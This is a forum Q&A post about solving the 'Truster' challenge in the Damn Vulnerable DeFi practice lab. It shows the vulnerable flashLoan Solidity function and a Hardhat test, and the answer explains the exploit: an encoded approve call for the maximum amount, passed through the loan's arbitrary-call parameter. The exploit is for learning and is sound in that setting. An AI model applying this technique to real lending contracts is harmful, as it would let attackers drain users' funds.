0

I was calling flashLoan function using following parameters for hardhat testing

expect(
    await this.pool.flashLoan(100, attacker.address, this.token.address, 0x00)
).to.be.not.reverted;

This is the function written in solidity

function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

Click HERE for Entire Solidity code

This is my entire test script

const { ethers } = require("hardhat");
const { expect } = require("chai");

describe("[Challenge] Truster", function () {
  let deployer, attacker;

  const TOKENS_IN_POOL = ethers.utils.parseEther("1000000");

  before(async function () {
    /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
    [deployer, attacker] = await ethers.getSigners();

    const DamnValuableToken = await ethers.getContractFactory(
      "DamnValuableToken",
      deployer
    );
    const TrusterLenderPool = await ethers.getContractFactory(
      "TrusterLenderPool",
      deployer
    );

    this.token = await DamnValuableToken.deploy();
    this.pool = await TrusterLenderPool.deploy(this.token.address);

    await this.token.transfer(this.pool.address, TOKENS_IN_POOL);

    expect(await this.token.balanceOf(this.pool.address)).to.equal(
      TOKENS_IN_POOL
    );

    expect(await this.token.balanceOf(attacker.address)).to.equal("0");
    

  it("Flash load will successfull", async function () {
    /** CODE YOUR EXPLOIT HERE  */
   
    expect(
        await this.pool.flashLoan(100, attacker.address, this.token.address, 0x00)
    ).to.be.not.reverted;
  });

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE  */
    this.hack = await (
      await ethers.getContractFactory("TrusterAttack", attacker)
    ).deploy(this.token.address, this.pool.address, attacker.address);

    this.hack.attack();
  });

  after(async function () {
    /** SUCCESS CONDITIONS */

    // Attacker has taken all tokens from the pool
    expect(await this.token.balanceOf(attacker.address)).to.equal(
      TOKENS_IN_POOL
    );
    expect(await this.token.balanceOf(this.pool.address)).to.equal("0");
  });
});

When i run this script it shows

Error: VM Exception while processing transaction: reverted with reason string 'Address: low-level call failed'

Noteed* basically i was trying to execute the flashLoan for https://www.damnvulnerabledefi.xyz/challenges/3.html

  1. problem - Truster

1 Answer 1

3

i was able to solve this. the issue was functionCall requires a bytes String of an function. So here i was in need of approve function byte string.

bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)", address(this), type(uint256).max
        );

So i passed this data as a parameter of target.functionCall(data) Here target is the token address.

Noted bytes string of the data holds this value

0x095ea7b30000000000000000000000008464135c8f25da09e49bc8782676a84730c318bcffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.